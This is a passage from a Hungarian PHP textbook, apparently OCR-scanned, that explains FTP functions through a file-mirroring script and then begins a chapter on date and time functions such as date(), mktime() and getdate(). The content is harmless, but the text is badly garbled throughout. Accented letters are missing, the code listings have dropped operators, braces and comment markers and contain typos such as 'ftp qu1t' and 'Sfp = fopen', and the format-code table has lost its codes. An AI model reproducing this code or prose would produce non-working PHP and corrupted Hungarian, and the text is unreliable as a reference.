ltalnos windowsos telepts hasznlata esetn az FTP fggvnyek automatikusan be vannak kapcsolva. (A PHP konfigur
lsrl a fggelkben tallunk tovbbi informcit.)

Biztonsgiments ksztse vagy fjl tkrzse FTP-vel


Az FTP fggvnyek kivlan alkalmasak arra,hogy egyik gprl a msikra msoljunk vagy thelyezznk llomnyokat. Leg
gyakrabban akkor fogunk lni ezzel a lehetsggel, ha biztonsgi mentst ksztnk weboldalunkrl, vagy msik gpre tkrz
zk az llomnyokat. Nzzk meg egy egyszer pldval, hogyan lehet FTP fggvnyekkel tkrzni egy fjlt! A kdot a 20.4
pldakdban lthatjuk.
20.4 pldakd: ftp_tukrezes. php-A fjl

j vltozatt FTP kiszolglrl letlt kd

<html>
<he ad>
<title>Tkrzs frisstse</title>
<lhead>
<body>
<hl> Tkrzs frisstse </hl>
<?php

ll vltozk belltsa - az alkalmazsnak megfelelen mdostsuk ezeket!


$host = 'ftp.cs.rmit.edu.au';
$felhasznaloi_nev
$jelszo =

'anonymous';

'en@pelda.com';

$tavoli_fajl = '/pub/tsg/teraterm/ttsshl4.zip';
$helyi fajl = 'ltmp/writable/ttsshl4.zip';
ll kapcsolds a hoszthoz
$kapcsolat = ftp_connect($host);
if (!$kapcsolat)

{
echo 'Hiba:

Sikertelen kapcsolds az ftp szerverhez<br />';

exit;
echo "Sikeresen csatlakoztatva:

$host.<br />";

ll bejelentkezs a hasztra
$eredmeny = @ftp login($kapcsolat,

$felhasznaloi_nev,

$jelszo);

if (!$eredmeny)
echo "Hiba:

$felhasznaloi_nev felhasznli nvvel nem sikerlt bejelentkezni<br/>";

ftp qu1t($kapcsolat);

20
'

314

20. fejezet

exit;

echo

"$felhasznaloi nev felhasznli nven

bejelentkezvecbr />";

ll ellenrizni a fjl utols mdostsnak idpontjt,

hogy szksg van-e frisstsre!

echo 'Fjl utols mdostsi idpontjnak ellenrzse... <br />';


if (file_exists($helyi fajlll

$helyi_modositas_ideje

20

filemtime($helyi_fajl);

echo 'Helyi fjl utols mdostsnak idpontja ';


echo date('G:i j-M-Y',

$helyi_modositas ideje);

echo '<br />';

else
$helyi_modositas ideje=O;
$tavoli_modositas ideje= ftp_mdtm($kapcsolat,

$tavoli fajl);

(! ($tavoli_modositas_ideje >= 0))

if

ll Ez nem azt jelenti,

hogy a fjl nincs ott,

a kiszolgl nem biztos,

ll hogy tmogatja a mdostsi idt


echo 'Nem rhet el a tvoli fjl utols mdostsnak idpontja.<br />';
$tavoli_modositas_ideje=$helyi_modositas ideje+l;

ll gondoskodjunk a frisstsrl!

else

echo 'Tvoli fjl utols mdostsnak idpontja';


echo date('G:i j-M-Y',

$tavoli_modositas_ideje);

echo '<br />';

if (!($tavoli_modositas deje > $helyi_modositas ideje))

echo 'A helyi msolat napraksz.<br />';


exit;

ll fjl letltse
echo

'Fjl letltse a szerverrl... <br />';

Sfp = fopen ($helyi fajl,

'w');

if (!$siker = ftp_fget($kapcsolat,

$fp,

$tavoli fajl,

echo 'Hiba: Nem sikerlt letlteni a fjlt';


tp_quit($kapcsolat);
exit;

fclose($fp);
echo 'A fjl sikeresen letltdtt';

ll kapcsolat bontsa a hoszttal


ftp_quit($kapcsolat);

?>
</body>
</html>

A kd futtatsnak mintakimenett a 20.4 brn ltjuk.

FTP_BINARY))

H lzati s protokollfggvnyek hasznlata

315

lt2l-;m--;T.:J""
Tkrzs frisstse
Sbn:wa.......
..._..
...___..._
_.......,._
FIJI...,-..6ciooiMoi ....... ........_
Rli7!r.o.J ......... iot/ipanJo lllll-S..XIIO
f.....ta,l..... ....._._jo:l"lf">.Joi..lOIO
Aw,i......_

20
20.4 bra: Az FTP tkrzkd ellenrzi, hogy a fjl helyi vltozata napraksz-e,
s ha nem az, akkor letlti az j vltozatt.
Az ftp_tukrozes. ph p kd elgg ltalnos. Lthatjuk, hogy az albbi vltozk belltsval kezddik:
$host =

'ftp.cs.rrnit.edu.au';

$felhasznaloi_nev
$jelszo

'anonyrnous';

'en@pelda.corn';

$tavoli fajl
$helyi_fajl

'/pub/tsg/teraterrn/ttsshl4.zip';
'/trnp/writable/ttssh14.zip';

A $host vltoz annak az FTP kiszolglnak a nevt tartalmazza, amelyhez kapcsoldni kvnunk, a $felhasznaloi_
nev s a $j elszo pedig a bejelentkezshez hasznland felhasznli nevet, illetve jelszt trolja.

Sok FTP oldal tmogatja az gynevezett nvtelen bejelentkezst (anonymous login). Ebben az esetben egy szabadon elrhet
felhasznli nvvel brki csatlakozhat a kiszolglhoz. Nincs szksg jelszra, de jelszknt gyakran illik megadni e-mail c
mnket, hogy a rendszergazdk lthassk, honnan jnnek a felhasznlik. Pldnkban is kvettk ezt a szokst.
A $tavoli_fajl vltoz a letlteni kvnt fjl elrsi tvonalt tartalmazza. Jelen esetben a Tera Term SSH egy helyi
pldnyt tltjk le s tkrzzk. A Tera Term SSH egy windowsos SSH kliens. (Az SSH a secure shell, a biztonsgos hj
rvidtse. Ez a Telner gy titkostott formja.)
A $helyi_ faj l vltoz annak a helynek az elrsi tvonalt tartalmazza, ahol szmtgpnkn trolni kvnjuk a letl
ttt fjlt. A pldban ltrehozunk egy /trnp/wri table nev knyvtrat megfelel jogosultsgokkal ahhoz, hogy a PHP fjlt
rhasson oda. Opercis rendszernktl fggetlenl a kd mkdshez ltre kell hozni ezt a knyvtrat. Amennyiben ope
rcis rendszernk szigor jogosultsgi szisztmval br, gondoskodnunk kell rla, hogy kdunknak jogosultsga legyen rni.
Ezeket a vltozkat megfelelen mdostva lehetv vlik, hogy sajt cljainkra hasznljuk a kdot.
A kdban ugyanazokat az alaplpseket kvetjk, mintha sajt kezleg, parancssori felletbl tovbbtannk egy llomnyt
FTP-n keresztl:
l.

Kapcsolds a tvoli FTP kiszolglhoz.

2.

Bejelentkezs (felhasznlknt vagy nvtelenl).

3. A tvoli fjl mdostsnak ellenrzse.


4. H a a fjl mdosult, letltjk.
5.

Kapcsolat bontsa az FTP kiszolglval.

Nzzk meg egyenknt ezeket a lpseked

Kapcsolds a tvoli FTP kiszolglhoz


Az els lps azzal egyenrtk, mintha windowsos vagy unixos rendszerben a kvetkezket gpelnnk be a parancssorba:
ftp hostnev

PHP-ben a kvetkez kddal hajthatjuk vgre ugyanezt:


$kapcsolat = ftp connect($host);
if

(!$kapcsolat)

{
echo 'Hiba:

Sikertelen kapcsolds az ftp szerverhez<br />';

exit;

echo "Sikeresen csatlakoztatva:

$host.<br />";

316

20.fezet

Az ftp_connect () fggvnyt hvjuk meg itt. Ez paramterknt a hosztnevet fogadja,s vagy a kapcsolat erforrs-vl
tozjt adja vissza, vagy- amennyiben a kapcsolat nem tud ltrejnni- false rtkkel tr vissza. A fggvny opcionlis
msodik paramterknt a csadakozsra kijellt hoszt portjnak szmt fogadhatja. (A pldban nem adtuk ezt meg.) Ha nem
hatrozzuk meg a port szmt,a 21-est, az FTP alaprtelmezett portjt fogja a fggvny hasznlni.
Bejelentkezs az FTP kiszolglra

20

A kvetkez lps a bejelentkezs adott felhasznli nvvel s az ahhoz tartoz jelszval.Az ftp_login () fggvnnyel tehet
jk ezt meg:
$eredmeny
if

@ftp_login($kapcsolat,

$felhasznaloi_nev,

$jelszo);

(! $eredmeny)

{
echo

"Hiba: A $felhasznaloi nev felhasznli nvvel nem sikerlt bejelentkezni<br

/>";

ftp_quit($kapcsolat);
exit;

echo

"$felhasznaloi nev felhasznli nven bejelentkezve<br

/>";

A fggvny hrom paramtert vr: az FTP kapcsolatot (amit az ftp_connect () fggvnybl kap meg), a felhasznli
nevet s a jelszt.Sikeres bejelentkezs esetn true, ellenkez esetben false rtkkel tr vissza. Figyeljk meg,hogy a sor
elejre @ szimblumot tve elnyomjuk a hibkat! Azrt tesszk ezt, mert ha a felhasznl nem lptethet be, PHP-s figyel
meztets jelenne meg a bngszben.Az $eredmeny tesztelsvel kezelhetjk ezt a hibt, s sajt, felhasznlbart hibaze
netnket tudjuk megjelenteni.
Lthatjuk, hogy sikereden bejelentkezsi kisrlet esetn az ftp_quit () fggvnnyel bontjuk az FTP kapcsolatot. A k
sbbiekben rszletesebben is bemutatjuk ezt a fggvnyt.
Fjl mdostsi idejnek ellenrzse

Mivel az llomny helyi msolatt kvnjuk frissteni,rdemes lehet ellenrizni,hogy egyltaln szksg van-e erre,mert ha
a helyi vltozat friss, akkor teljesen felesleges lenne mg egyszer letlteni. Nagy llomnyok esetn ez egyltaln nem mindegy,
akr jelents hlzati forgalomtl is megkmlhetjk magunkat ezltal. Nzzk meg az utols mdosts idpontjt ellenrz
kdrszletet!
Pontosan a fjlok utols mdostsi idpontja miatt hasznlunk a sokkal egyszerbb f:ijlfggvnyek helyett FTP fggv
nyeket.A fjlfggvnyek is egyszeren olvasnak- s egyes esetekben rnak is- f:ijlokat hlzati felleten (network interfaces)
keresztl,de az olyan llapotfggvnyek,mint pldul a filemtime (),tvolrl nem mkdnek .
Azt eldntend, hogy le kell-e tlteni a fjlt, elszr is a file_exists () fggvnnyel ellenrizzk, hogy megvan-e a fjl
helyi pldnya. Ha nincs, akkor egyrtelm, hogy szksg van a letltsre.Ha a fjl ltezik,utols mdostsnak idpontjt
a filemtime() fggvnnyel derthetjk ki, s a $helyi_modositas_ideje vltozban eltroljuk azt. Ha a helyi fjl nem
elrhet, akkor a $helyi_modositas_ideje vltoz rtkt 0-ra lltjuk, mert gy biztosan,.korbbi" lesz, mint a tvoli f:ijl
utols mdostsnak idpontja:
echo

'Fjl utols mdostsi idpontjnak ellenrzse ...<br

/>';

if (file_exists($helyi fajl))

{
$helyi_modosi tas ideje
echo

echo date('G:i j-M-Y',


echo

filemtime($hely l faj l);

'Helyi fjl utols mdostsnak idpontja

';

$helyi_modositas ideje);

'<br />';

else
$helyi_modositas_ideje=O;

(A file_exists () s a filemtime() fggvnyrl a 2.s a 19. fejezetben rszletesebben is olvashatunk.)


Miutn gy vgeztnk a helyi fjllal, a tvoli vltozat utols mdostsnak idpontjt kell kidertennk.Az ftp_mdtm()
fggvnnyel tehetjk ezt meg:
$tavol1_modositas ideJe

ftp_mdtm($kapcsolat,

$tavoli fajl);

Hlzati s protokollfggvnyek hasznlata

317

A fggvny kt paramtert fogad: az FTP kapcsolat erforrs-vltozjt s a tvoli fjl elrsi tvonalt, s a fjl urols mdo
stsi idpontjnak unixos idblyegt vagy hiba esetn -l-et ad vissza. Nem minden FTP kiszolgl tmogatja ezt a funk
cit, gy nem felttlenl fog hasznlhat eredmnnyel jrni a fggvny alkalmazsa. Ha gy trtnik, dnthetnk gy, hogy

a $tavoli_modosi tas_idej e vltozt mestersgesen a

$helyi_ modositas_ideje

vltoznl.,ksbbire" lltjuk

azzal, hogy l-et hozzadunk. gy a kd mindenkppen megksrli letlteni az llomnyt:


(1 ($tavoli_modositas_ideje >= 0))

if

ll

Ez nem azt jelent i ,

ll
echo

hogy

tmogatja a

'Nem rhet

hogy a fjl nincs ott,

a kiszolgl nem biztos,

mdositsi idt

el a tvoli fjl utols mdositsnak idpontja.<br

$tavoli_modositas_ideje=$helyi_modositas_ideje+l;

ll

l>';

20

gondoskodjunk a frisstsrl

'
else

echo 'Tvoli fjl utols mdostsnak idpontja';


echo date('G:i j-M-Y',
echo

$tavol_modositas_ideje);

l>';

'<br

A kt mdostsi idpont birtokban sszehasonlthatjuk a fjl kt vltozatt, s eldnthetjk, hogy szksg van-e a letltsre:
1f

(! ($tavoli_modositas_ideje >

$helyi_modositas_ldeje))

echo 'A helyi msolat napraksz.<br

l>';

exit;

A fjlletltse
Ha idig eljutottunk, megprblhatjuk letlteni a fjlt a kiszolglrl:
echo 'Fjl letltse a szerverrl ...<br
$fp = fopen ($helyi_fajl,

/>';

'w');

if (!$siker = ftp_fget($kapcsolat,

$fp,

$tavoli fajl,

FTP_BINARY))

echo 'Hiba: Nem sikerlt letlteni a fjlt';


ftp_quit($kapcsolat);
exit;

fclose($fp);
echo 'A fjl sikeresen letltdtt';

Ahogy azt mr korbban megtanultuk, helyi fjlt az fopen () fggvnnyel nyitunk meg. Ezt kveten az ftp_fget ()
fggvnyt hvjuk meg, amely megksrli letlteni s helyi fjlban eitroini az llomnyt. A fggvny ngy paramtert fogad. Az
els hrom magtl rtetd: az FTP kapcsolat, a helyi fjl erforrs-vltozja s a tvoli fjl elrsi tvonala. A negyedik para
mter az FTP kapcsolat mdja.

Az FTP fjltvitel kt lehetsges mdja az ASCII s a binris (binary). Az ASCII mdot szveges (vagyis kizrlag ASCII
karaktereket tartalmaz) fjlok tovbbtsra hasznljuk, a binris mdot pedig minden ms fjlhoz. A binris md rintet
lenl hagyja a tovbbtott fjlt, az ASCII md ugyanakkor az opercis rendszernknek megfelel mdon talaktja a.,kocsi
vissz' s a.,soremels" karaktereket (Unix alatt \n, Windows alatt \r\n, Macintosh alatt pedig \r lesz bellk).
A PHP FTP knyvtrban kt, elre meghatrozott, ezeket az FTP mdokat jelkpez lland tallhat: FTP_ASCII s
FTP_BINARY. Neknk

kell eldnteni, hogy melyik md felel meg a szban forg fjltpusnak, s az annak megfelel llandt

kell negyedik paramterknt tadni az ftp_fget () fggvnynek. Pldnkban tmrtett ZIP fjlt tovbbtunk, ezrt az
FTP_BINARY

mdot vlasztjuk.

Ha minden rendben megy, az ftp_fget () fggvny true, hiba esetn pedig false rtkkel tr vissza. Az eredmnyt

$si ker

vltozban troljuk, majd kzljk a felhasznlval a mvelet kimenett.

A letltsi ksrlet utn az fclose() fggvnnyel zrjuk be a helyi llomnyt.


Az ftp_fget() alternatvjaknt az ftp_get () fggvnyt is hasznlhamnk, amelynek prototpusa a kvetkez:

318

20.fezer

Lnt ftp_get (int ftp_kapcsolat,

string helyi fajl_eleresi_utvonala,

string tavoli fajl_eleresi_utvonala,

Lnt mod)

Ez a fggvny az ftp_fget ()-hez hasonlan mkdik , m nem ignyli,hogy a helyi fjl meg legyen nyitva.Az rni kvnt
helyi fjl erforrs-vlrozja helyerr annak elrsi tvonalr adjuk r a fggvnynek.
rdemes megjegyezni,hogy az egyszerre tbb fjl letltsre hasznlhat mget FTP-s parancsnak nincsen megfelelje. Ha
erre van szksgnk,tbbszr meg kell hvnunk az ftp_fget () vagy ftp_get () fggvnyt.

20

A kapcsolat bontsa

Az FTP kapcsolattal vgzett munka utn bontani kell a kapcsolatot az ftp_ quit () fggvnnyel:
ftp_quit($kapcsolat);

A fggvnynek az FTP kapcsolat erforrs-vltozjt kell tadni.

Fjlfeltlts
Ha fordtva szeremnk eljrni- vagyis a szervernkrl szeretnnk tvoli gpekre msolni fjlokat -,kt olyan fggvnyt kell
hasznlni,amely lnyegben az ftp_fget () s az ftp _get () ellentte.Ez a kt fggvny az ftp_fput () s az ftp _put().
A kvetkez a prototpusuk:
int ftp_fput (int ftp_kapcsolat,
int ftp_put (int ftp_kapcsolat,

string tavoli fajl_eleresi_utvonala,


string tavoli

int

fp,

int mod)

fajl_eleresi_utvonala,

string helyi fajl_eleresi_utvonala,

int mod)

A paramterek ugyanazok,mint a _get fggvnyes megfeleliknL

Idtllps elkerlse
FTP-n keresztli fjltvitel esetn az egyik lehetsges problma a maximlis vgrehajtsi id tllpse.Tudni fogjuk, amikor
ez bekvetkezik,mert a PHP hibazenetet ad. Az ilyen hiba jellemzen akkor fordul el,ha a kiszolgl lass, vagy tlterhelt
hlzaton fut, vagy ha a letlteni kvnt fjl nagy mret (pldul videofjl).
A maximlis vgrehajtsi id alaprtelmezett rtkt minden PHP kd szmra a php. ini fjlban hatrozhatjuk meg.
Alapbl 30 msodpercre van lltva. Ennek clja az irnytsunk all kikerl kdok kezelse. Ha azonban FTP-n keresztl
tovbbtunk fjlokat,s a vilg tbbi rszvel bennnket sszekt kapcsolat lass, vagy a szban forg llomny elg nagy,
a fjltvitel ennl akr sokkal hosszabb ideig is eltarthat.
Szerencsre a set_ time_lim i t () fggvnnyel knnyedn mdosthatjuk az adott kdra rvnyes maximlis vgrehajtsi
idt. A fggvny meghvsa tlltja a kd futsra engedlyezett msodpercek szmt. A vgrehajtsi id szmolsa ebben az
esetben a fggvny meghvstl kezddik.
Ha pldul meghvjuk a
set_time_limit(90);

fggvnyt,a kd a fggvny meghvstl szmtott jabb 90 msodpercig futhat.

Tovbbi FTP fiiggvnyek hasznlata


Szmos ms,hasznos FTP fggvnyt is elrhetnk PHP-ben.Az ftp_size() fggvnyt tvoli kiszolgln lv fjlok mre
tnek Icidertsre hasznlhatjuk. Prototpusa a kvetkez:
Lnt ftp_size(int ftp_kapcsolat,

string tavoli fajl_eleresL_utvonala)

A fggvny a tvoli fjl bjtokban kifejezett mrett,illetve hiba esetn -l-et ad vissza. Nem minden FTP kiszolgl tmo
gatja. Az ftp_size() kivlan alkalmas egy adott fjltvitelhez szksges maximlis vgrehajtsi id kiszmtsra.A fjl
mret s kapcsolatunk sebessge alapjn knnyedn megbecslhetjk, hogy mennyi ideig tarthat az tvitel, s ennek megfelel
en kell a set_time_limit() fggvnyt hasznlnunk.
Az albbi kddal tudjuk kiderteni s megjeleniteni egy tvoli FTP kiszolgl valamely knyvtrban lv fjlok nevt:
$listazas

ftp n1Lst($kapcsolat,

dirname($tavoli fajl));

foreach ($listazas as $fajl_nev)


echo "$fajl_nev <br>";

Ez a kd az ftp_nlist() fggvnnyel hatrozza meg az adott knyvtrban lv fjlok nevt.

Hlzati s protokollfggvnyek hasznlata

319

A tovbbi FTP fggvnyekrl elmondhatj uk, hogy szinte minden, amit FTP parancssorbl meg tudunk tenni, az FTP
fggvnyekkel is vgrehajthat. Az egyes FTP parancsoknak megfelel fggvnyeket a PHP online kziknyvben talljuk meg
(http://us2.php.net/manual/ en/ ref.ftp.php)

A kivtel a mr korbban emltett mget (multiple get, azaz egyszerre tbb fjl letltse), de az ftp_nl ist() fggvnnyel
megszerezhetjk a fjlok listjt, majd letlthetjk a szksges llomnyokat.

Tovbbi olvasnival
A fejezetben elssorban az alapokat tekintettk t, de az interneten szmtalan tovbbi anyagot tallunk az itt trgyalt tmkban.
Az egyes protokollokrl s mkdskrl a http:/ /www.rfc-editor.org/ oldalon elrhet RFC-ket rdemes tanulmnyozni.
A World Wide Web Consortium protokollokkal kapcsolatos informciit is rdekesnek tallhatjuk, ezeker a http://www.
w3.org/Protocols/ cmen rjk el.
A TCP/IP protokollrl szmos knyvben kimert lerst tallunk, pldakppen elg megemlteni Andrew Tanenbaum
Computer Networks (Szmitgpes hlzatok) cm munkjt.

Hogyan tovbb
Immr kszen llunk arra, hogy megvizsgljuk a PHP dtum- s naptrfggvnyeit tartalmaz knyvtrakat. A kvetkez
fejezetbl azt is megtudhatj uk, hogyan alakithatjuk a felhasznlk ltal bert formtumokat PHP s MySQL formtumokk,
majd vissza az eredeti formtumra.

20

21
Dtum s id kezelse
E fejezerbl megtudhatj uk, hogyan ellenrizherjk s formzharjuk a drumor s idr, illetve hogyan vltharunk a klnbz
drumformrumok kztt. Ezek a lehetsgek akkor lesznek klnsen hasznosak, amikor MySQL s PHP, illetve Unix s
PHP drumformrumok, valamint a felhasznlk ltal HTML rlapon bevitt drumok formrumai kztt kell vltanunk.
A fejezerben az albbi fbb tmakrkkel foglalkozunk:
Drum s id megllaprsa PHP-bl
Vlrs PHP s MySQL drumformrumok kztt
Drumok kiszmrsa
Naprrfggvnyek hasznlara

Dtum s id megllaptsa PHP,bl


J rgen, mg a PHP gyorstalpal cm l. fejezerben murattuk be, hogyan lehet a da te {) fggvnnyel a drumor s idr PHP
bl megllaptani, illetve formzni. Ebben a fejezerben az orr lerraknl rszleresebben is megvizsgljuk ezt, valamint a PHP
tovbbi drum- s idkezel fggvnyeir.

A da t e

( ) fggvny hasznlata

Emlkezhernk r, hogy a date { ) fggvny kr paramtert fogad, amelyek kzl az egyik opcionlis. Az els a formrum
szrring, a msodik- az opcionlis - pedig egy Unix idblyeg. Ha nem hatrozzuk meg az idblyeger, a date {) alaprtelme
zsben az akrulis drumor s idr hasznlja. A fggvny a megfelel drumor jelkpez, formzott karakterlncot adja vissza.
A date {) fggvny tipikus meghvsa a kvetkezkppen nz ki:

ech o date

(jS

Y') ;

Ez a 30th March 2010 formrumban adja vissza a drumor. A fggvny ltal elfogadott formrumkdok lisrjr a 21.1
tblzat tartalmazza.
21.1 tblzat: A PHP da te {)

fggvnynekformtumkdjai

Kd

Lers

Dleltt vagy dlutn, amir kr kisbets karakter, az am.

Dleltt vagy dlutn, amir kr nagybers karakter, az AM vagy PM jell.

Swarch inrernetid, univerzlis idrendszer. Tovbbi informci: http://

ISO 8601-es szabvny szerinri drum. A drumor -HH-NN formrumban jelenti meg. Nagy

vagy pm. jell.

www.swarch.com/.

T ber vlasztja el a drumor s az idr. Az idr :PP:MM formrumban murarja. Az idznt


a greenwichi idrl (GMT ) szmrott eltrs murarja. Pldul 200 8-0 6-2 6T 21: 04: 4 2-1: 00.
(Ez a formrumkd a PHP5-ben lett elszr elrhet.)

A hnap napja kr szmjeggyel, helykirlt nullval. A tartomny Ol-rl 31-ig rarr.

A hr napja hromkarakreres, rvidirett szveges formrumban (a napok angol neve alapjn). A tarto
mny Mon-rl Sun-ig rarr.

Idzna-azonosr (a PHP 5.1.0-s verzijrl rhet el).

A hnap reljes szveg formban (angolul). A tartomny January-rl December-ig tart.

Az ra 12 rs formrumban, helykirlt nullk nlkl. A rarromny l-rll2-ig rarr.

322

21. fejezet

Kd

Lers

Az ra 24 rs formtumban, helykitlt nullk nlkl. A tartomny O-tl 2 3-ig tart.

Az ra 12 rs formtumban, helykitlt nullkkaL A tartomny O l-tl 12 -ig tart.

Az ra 24 rs formtumban, helykirlt nullkkaL A tartomny O O-tl 2 3-ig tart.

Az egsz ra ta eltelt percek, helykitlt nullkkaL A tartomny O O-tl 5 9-ig tart.

Nyri idszmts Boole-i rtkkel megadva. A formtumkd l-et ad vissza, amennyiben van nyri
idszmts, s O-t, ha nincs.
A hnap napja helykitlt nullk nlkl. A tartomny l-tl 31-ig tart.

A ht napja teljes szveg formban (angolul). A tartomny Sunday-tl Saturday-ig tart.

Szkv Boole-i rtkkel megadva. A formtumkd l-et ad vissza, amennyiben az adott dtum szk

A hnap kt szmjeggyel, helykirlt nullkkaL A tartomny O l-tl 12 -ig tart.

A hnap hromkarakteres, rvidtett szveges formtumban. A tartomny Jan-tl Dec-ig tart.

A hnap szmknt, helykitlt nullk nlkl. A tartomny 1-tl 12-ig tart.

IS0-8601-es szabvny szerinti vszm. rtke ugyanaz, mint az Y formtumkdnak, kivve, ha a hr

vben van, s O-t, ha nem.

21

ISO szabvny szerinti sorszma

..1

(W) az elz vagy a kvetkez vhez tartozik, mert akkor azt az vet

hasznlja helyette (a PHP 5.1.0-s verzijtl rhet el).


o

Az aktulis idzna s a GMT kztti klnbsg rban-pldul+ 16 O O.


RFC822 szerint formzott dtum s id, pldul Tu e,

30 Mar 2010 18: 45: 30-0100.

(A formtum a PHP 4.0.4-s verzijban jelent meg.)


s

Az egsz perc ta eltelt msod percek, helykirlt nullkkaL A tartomny O O-tl 5 9-ig tart.

A dtumokban lv sorszmnv kpzje ktkarakteres formtumban (angolul). A szmtl fggen


lehet st, nd, rd vagy th.

A dtumhoz tartoz hnapban lv naptri napok szma. A tartomny 2 8-tl 31-ig tart.

A kiszolgl idznja hromkarakteres formtumban- pldul CET.

Az l 970. janur l-tl az aktulis idpontig eltelt msodpercek szma; ezt nevezik a dtum Unix idb
lyegnek.

A ht napja egy szmjeggyel. A tartomny O-tl (vasrnap) 6-ig (szombat) tart.

A ht sorszma az vben az IS0-8601-es szabvny szerint. (A formtumkd a PHP 4.1.0-s verzij

Az v ktszmjegy formtumban- pldul l O.

ban jelent meg.)


y

Az v ngyszmjegy formtumban-pldul 2 O l O.

Az v napja szmknt. A tartomny 0-tl 365-ig tart.

Az aktulis idznnak a GMT-rl msodpercben mrt eltrse. A tartomny -4 3200-tl 4 3200-ig tart.

Unix idblyegek kezelse


A da te ( ) fggvny msodik paramtere egy Unix idblyeg. Ha esetleg nem tudnnk, hogy ez pontosan mit jelent: a legtbb
Unix rendszer 32 bites egsz szmknt trolja a pontos idt s dtumot. Ez az egsz szm a greenwichi id szerinti 1970. janu
r 1., jfl ra eltelt, msodpercekben szmtott idt murarja. (Szoks ezt az idpontot Unix epochnak is nevezni.) Elsre kicsir
taln klnlegesnek rnhet ez a megkzelts, de egyrszt ez egyszeren egy szabvny, msrszt az egsz szmokkal a szmt
gpek knnyen elboldogulnak.
A Unix idblyegek kompakt mdszert Icinlnak a dtum s id trolsra. Ennek ellenre nem szenvednek a 2000-es v
problmjtl (Y2K), amely bizony ms kompakt s rvidtett dtumformtumoknak gondor okoznak. Hasonl problmval
ugyanakkor ez a formtum is knytelen szembenzni, mivel a 32 bites egsz szm hasznlata korltozott idtartam kezelst
teszi csak lehetv. Amennyiben szoftvernkben 1902 eltti vagy 2038 utni idpontokkal is foglalkoznunk kell, akkor bizony
bajban lesznk.
Egyes rendszereken, gy Windowsen is mg szkebb ez a tartomny. Az idblyeg nem lehet negatv, gy 1970 eltti idb
lyegek nem hasznlhatk. Kdunk platformfggetlensge rdekben nem szabad megfeledkezni ezekrl a korltokrL
Amiatt minden bizonnyal nem kell aggdni, hogy szoftvernket mg 2038-ban is hasznlni fogjk. Az idblyegeknek nin
csen rgztert mrete; a C nyelv integer tpusnak mrethez vannak ktve, ami legalbb 32 bit. Amennyiben szoftvernk mg
2038-ban is hasznlatban lesz, igen valszn, hogy rendszernk akkorra nagyobb tpust fog hasznlni.

Dtum s id kezelse

323

Annak ellenre, hogy ez a formtum unixos szabvny, a date() s egyes ms PHP fuggvnyek akkor is ezt hasznljk, ha
a PHP-t Windows

alatt futtatjuk. Az egyeden klnbsg ebben az esetben az, hogy a Windows alatt az idblyeg nem lehet negatv.

Ha dtumot s idt szeretnnk Unix idblyegg alaktani, az mktime() fuggvnyt kell hasznlni. Prototpusa a kvetkez:
int mktime ([int ora[, int perc[, int masodperc[, int hnap[,
int nap[, int ev

[,

int nyari_idoszamitas]]]]]]])

A paramterek- taln az utols, a nyari_idoszami tas kivtelvel- elgg magtl rtetdek. A nyar i_
idoszarni tas paramter azt jelzi, hogy a dtum a nyri idszmtsba esik-e. Amennyiben igen, akkor l-re, ha nem, akkor

O-ra kell lltani a paramtert. Amennyiben nem tudjuk, akkor az alaprtelmezett rtket, a -l-et rdemes hasznlni.Ebben
az

esetben a PHP megprblja azon rendszer alapjn, amin fut, kitallni, hogy vajon hasznlnak-e nyri idszmitst. Mivel

a paramter opcionlis, gy is, gy is ritkn fogjuk hasznlni.


Az egyeden csapda, amit a fggvny kapcsn el kell kerlnnk, hogy a paramcerei nem tlzottan sztns sorrendben he
lyezkednek el. A sorrend nem teszi lehetv, hogy kihagyjuk az idt. Ha az id egyltaln nem rdekel bennnket, rjunk O-t
az ra, perc

s msodperc paramterhez. A paramterlista jobb oldalrl ugyanakkor elhagyhatjuk az rtkeket. Ha nem

adjuk meg ezeket, az aktulis rtkre lesznek lltva. gy az albbi fuggvnyhvs


$idobelyeg

mktime();

a pontos (pillanatnyi)

dtum s id Unix idblyegt adja vissza. Ugyanezt az eredmnyt kapnnk a kvetkez fuggvny meg

hvsval is:
$idobelyeg = time();

A time () fuggvny egyeden paramtert sem fogad, s mindig a pontos dtum s id Unix blyegkpt adja vissza.
Egy msik lehetsg a korbban mr bemutatott date () fuggvny. Az

"u"

formtumszering idblyeget vr. A kvetkez

utasts az elz kettvel egyenrtk:


$idobelyeg = date

('U") ;

Az mktime( ) fuggvnynek kt vagy ngy szrnjeggyel is megadhatjuk az vet. A O s 69 kztti ktszmjegy rtkek
a

2000 s 2069 kztti veket, a 70 s 99 kztti rtkek pedig az 1970 s 1999 kztti veket jelkpezik.
Nzznk nhny tovbbi pldt az mktime ()hasznlatt szemlltetend! Az

$ido = mktime(l2, O,

0);

utasts a mai nap dli idpontjt adja. Az


$ido = mktime(O,O,O,l,l);

pedig a foly v janur elsejt adja vissza. Figyeljk meg, hogy az ra paramter esetben a O-val (s nem a 24-gyel) jelljk az
jflt!
Az mktime() fuggvnyt dtumokkal kapcsolatos, egyszer szmtsokra is hasznlhatjuk. Pldul az
$ido = mktime(l2,0,0,$honap,$nap+30,$ev);

30 napot ad a komponensek ltal meghatrozott dtumhoz (mg akkor is, ha a $nap+ 30 ltalban nagyobb, rnint az adott
hnapban lv napok szma).
A nyri idszmtssal kapcsolatos problmk elkerlse rdekben hasznljunk a O ra helyett a 12 rt! Ha az jflhez (24

60 60)-at adunk egy 25 rs napon, akkor ugyanazon a napon maradunk. Ha dlhez adjuk hozz ugyanezt a szmot, akkor

eredmnyl l lam-et kapunk, de legalbb a megfelel napon lesznk.

A getda te ( ) fggvny hasznlata


Egy msik hasznos, dtummeghatroz fuggvny a getdate ().Ennek prototpusa a kvetkez:
array getdate ([int idobelyeg])

A fuggvny egyeden opcionlis paramtert, egy idblyeget fogad, s olyan tmbt ad vissza, amelynek elemei a dtum s az
id klnbz rszeit jelkpezik (lsd 21.2 tblzat!).
21.2 tblzat: A getdate

()fggvny ltal visszaadott tmb kulcs-rtk prjai

Kulcs

rtk

seconds

Msodperc, numerikus

minutes

Perc, numerikus

hours

ra, numerikus

mday

A hnap napja, numerikus

wday

A ht napja, numerikus

21

324

21 . fejezet

Kulcs

rtk

mon

Hnap, numerikus

year

v, numerikus

yday

Az v napja, numerikus

weekday

A ht napja, teljes szveges formtum

month

Hnap, teljes szveges formtum

Idblyeg, numerikus

Ha mindezeket

az elemeket egy tmbben tudjuk, knnyen a kvnt formtumba rendezhetjk ket. A tmb O

eleme

(az

idblyeg) feleslegesnek tnhet, de ha paramter nlkl hvjuk meg a get date () fggvnyt, az elem az aktulis idblyeget
fogja adni.
A getdate () fggvnyt hasznl kvetkez kd
<?php

21

$ma = getdate();
print r($ma);
?>

